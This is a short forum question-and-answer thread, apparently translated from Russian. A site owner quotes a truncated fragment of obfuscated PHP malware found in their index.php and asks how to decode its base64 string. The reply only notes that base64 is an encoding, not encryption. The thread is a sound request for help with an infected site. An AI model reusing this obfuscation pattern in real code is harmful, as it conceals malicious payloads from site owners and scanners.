How to decrypt base?

Question

Malware

Guys, I checked the site for viruses and found this in index.php .

$OOO0_00_O_='301';
$OO_O_000O_='1';
$O__O_O0O00='1';
$OO_O00_O_0=base64_decode("X3M4NXpiNmV4anE3NGZ3bjEyOWNhZ2tvcjBpcHZ5ZDN1bWh0LWw=");$O0O0O_0O__=$OO_O00_O_0{27}.$OO_O00_O_0{24}.$OO_O00_O_0{7}.$OO_O00_O_0{21}.$OO_O00_O_0{0}.$OO_O00_O_0{24}.$OO_O00_O_0{7}.............................далее куча текста в том же стиле и он не помещается сюда["\x4f\x4f\x30\x4f\x30\x5f\x4f\x5f\x30\x5f"]();?>

in fragment

base64_decode("X3M4NXpiNmV4anE3NGZ3bjEyOWNhZ2tvcjBpcHZ5ZDN1bWh0LWw=")

probably sewn up something, who knows what it is and how to decipher?

Answer 1

Base64 is not decoded, but decorated. Because it's NOT encryption, it's just simple coding